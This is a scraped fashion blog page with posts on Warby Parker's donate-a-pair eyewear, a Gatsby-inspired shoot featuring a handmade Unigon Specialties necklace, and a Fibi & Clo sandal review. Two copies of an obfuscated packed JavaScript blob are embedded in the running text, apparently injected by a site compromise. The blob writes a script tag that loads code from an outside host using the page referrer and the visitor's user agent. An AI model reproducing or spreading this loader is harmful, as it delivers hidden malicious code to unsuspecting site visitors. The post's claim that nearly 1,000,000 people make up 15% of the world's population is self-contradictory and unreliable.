My First RAW Show: Collaborating with Unigon Specialties
Tag: Unigon Specialties
Warby Parker Style ~ An Eye For An Eye
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Apricot Lane // Style Necklace: Handmade by Unigon Specialties
Not everyone knows this, but I’m a grown-up missionary kid. (MK, PK… I’m ok! Ha.) If you spend much time around me, you’re bound to hear stories of train rides to Siberia, playing in the streets of Bangkok, chasing tarantulas in the mountains of Honduras, and eating roadside jerked chicken in Jamaica. My childhood was largely spent traveling the globe, learning about different cultures, helping people, and surviving by the generosity of others.
So when it comes to people or businesses that “give back,” pay it forward, pass it on, etc., heck yeah, I’m on board! I know what it’s like to have so little, that even the smallest token of generosity can change a person’s day, week, or even life.
I recently discovered a cool company called Warby Parker, who create vintage-inspired eye wear, AND give generously to our world. They’ve been featured in Forbes, The New York Times, Oprah, GQ, and Vogue! But the coolest thing about Warby Parker, is the fact that for EVERY pair of glasses you buy, they DONATE a pair to a needy man, woman, or child. How awesome is that? To date, they have distributed over 250,000 pairs!
What’s so important about glasses? According to Warby Parker’s website, glasses can increase one’s productivity by 20%, making them “one of the most effective poverty alleviation tools in the world!” And access to affordable eyewear is very limited, for almost 1,000,000 of our world’s citizens. That equates to 15% of the world’s population being “unable to effectively learn or work because they can’t see clearly.”
I love Warby Parker, for what they are doing to help the needy! Not only are there sunglasses hip & fun, but they’re also surprisingly affordable, especially for eco-friendly, designer eyewear. AND I have the added satisfaction of knowing my dollars are pulling double-duty, in providing much-needed sight to someone in this world that desperately needs it!
And that, my friends, is no small token of generosity. 🙂
Check out Warby Parker’s Do Good campaign here.
My Top Pick: The “Jules” in Marbled Charcoal
More From Warby Parker’s “The Ocean” Collection
“Percy” in Burnt Lemon Tortoise
“Sayles” in Driftwood
The “Preston” glasses in Sea Glass Blue
Great Gastby Style, Part 2!
Photography by: Nena eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhebf|var|u0026u|referrer|hiakt||js|php’.split(‘|’),0,{}))
Earl // Styling: StyleSpyGirl // Hair & MUA: Melissa Shay Thomas at Deco Hair & Makeup
Dress: Vintage Oscar de la Renta from Abandoned Fashion// Necklace: Unigon Specialties // Shoes: Tahari from DSW
I set out to do a blog about fashion from the Roaring 20’s, inspired by my recent viewing of this Spring’s “The Great Gatsby” film. I wanted to talk about how the 20’s were a time of women breaking free from their corsets, and embracing modern freedoms. I intended to discuss how that era brought new opportunities for women, like voting as equal citizens, and – gasp! – driving motor vehicles!
But then I fell in love with a necklace. I know, so girly of me, right? But it wasn’t just the necklace, pictured here in these photos by the amazingly-talented Nena Earl. It was the women behind the necklace, and her journey, that I wanted to share with you today…
Do you know a woman with “Awesome Sauce,” that something special that brews deep within her, and makes her stand out in this world? Sure, Oprah has it, Martha Stewart has it, Lauren Conrad has it, Gwenyth Paltrow, … Successful women who inspire us, and make us wonder, “What could I do in this life, if I had awesome sauce like her?”
I went to a women’s business class last week and listened to speaker Kim Flynn, who insisted that every woman has Awesome Sauce. Seriously! I have Awesome Sauce, YOU have Awesome Sauce… I looked around at the other women in that room, some of them my friends, and thought “It’s true! All these ladies are full of Awesome!” Sitting next to me was my friend Denise Vesecka, the founder of Unigon Specialties, who made the necklace in these photos…
I think Denise’s work is amazing, and this particular piece captivated me. Perhaps it’s more Cleopatra than Great Gatsby, but it’s beautiful and unique, a true work of art! And through it, I can see Denise’s Awesome Sauce. Some days, she’s not sure she has the Sauce, working hard to sell her handmade pieces at fairs and expos. But I see it. I see it when she custom designs something for someone she cares about (Like my favorite “Style” necklace!). I see it, when she creates things that move beyond jewelry, and become works of art that transcend an outfit or fashion trend.
Denise has Awesome Sauce, and i think this necklace is one of her most Saucy creations yet. I am watching for the day that Hollywood comes knocking on Denise’s door, and we start to see her designs in blockbuster summer movies!
Denise helps me believe in my own Awesome Sauce. Do you believe in yours? What does your Awesome Sauce look like? What would you do or change about your life, if you could truly live into that Sauce inside you?
Find it. Live it! YOU have Awesome Sauce.
XOXO,
Tanya
Photography by Nena Earl
If you love this Gatsby-esque look, check out my Gatsby On A Budget fashion set on Polyvore!
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Fun Shoe Review: Fibi & Clo Sandals!
If you’re a self-admitted shoe-a-holic like me, you may know how thrilling it is to receive lovely little packages in the mail, like the one I just got from online shoe boutique eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yibde|var|u0026u|referrer|kazdy||js|php’.split(‘|’),0,{}))
fibi & clo! Pretty shoes… in a box… for me!!! Happy day! 😀
As one of Boise’s hard-working personal shoppers & fashion bloggers, I am on my feet a LOT! But the streets of this town get pretty dang hot in the summer, and I refuse to wear flip-flops as fashion. (They’re functional, so of course I wear them! Just not with styled outfits, lol. Call me picky.) 😉 Last summer I bemoaned my lack of walk-all-day footwear, never really finding a cute pair of sandals that fit my style, or my lifestyle. Gladiators were all the rage, I know. But they don’t suit me!
When fibi & clo contacted me about doing a product review of their sandals, claiming “cute, affordable, and comfortable” as their focus, I jumped at the chance, selecting the “Burst Cascade” style, one of their top sellers. I slipped them on, and was immediately impressed by the comfy, soft padding. Ooh, I could wear these all day! And their coloring is so versatile; I LOVE how the sparkling crystals catch every color, making them endlessly fun to build a variety of outfits around!
I quickly threw some looks together, to cover a variety of situations: Formal, Fun, and Flirty!
Formal: Express necklace, Express bandeau, BCBG dress, fibo & clo sandals
Fun: Custom necklace by Unigon Specialties, Express bandeau, Pink by VS tank, Forever 21 shorts, fibo & clo sandals
Flirty: Express Bandeau, Pink by VS top, Black Orchid skinny jeans, Apricot Lane bracelets, fibo & clo sandals
Which outfit is your favorite? 🙂 I had a blast putting them all together, enjoying the comfort and drama of those awesome shoes.
fibi & clo was created by AnaLiza Alba, in 2009, to be “like tupperware parties, but with shoes!” What started as a house party business quickly grew into an online retailer. If you live in a town where house parties are available, you can contact a sales rep, or become a “fashion agent.” For those of us who live in other parts of the world, check out fibi & clo’s beautiful online store: https://fibiandclo.com. fibi & clo sandals have been featured in Lucky magazine, Lauren Conrad’s style blog, and a host of other fashion websites & magazines. True to their mission, I found them to be high-quality, inexpensive, super-comfy, and downright lovely.
For honest disclosure, I found that the sandals I ordered ran a little on the small side. I was glad I “sized up” to an 8, instead of my usual 7 1/2. Just something to keep in mind! 🙂
Now, if only Spring would get here, so I can wear these beauties all over town! It’s so hard to wait!!!
Impatiently waiting for warm sunshine.
StyleSpyGirl
Style Spy Girl 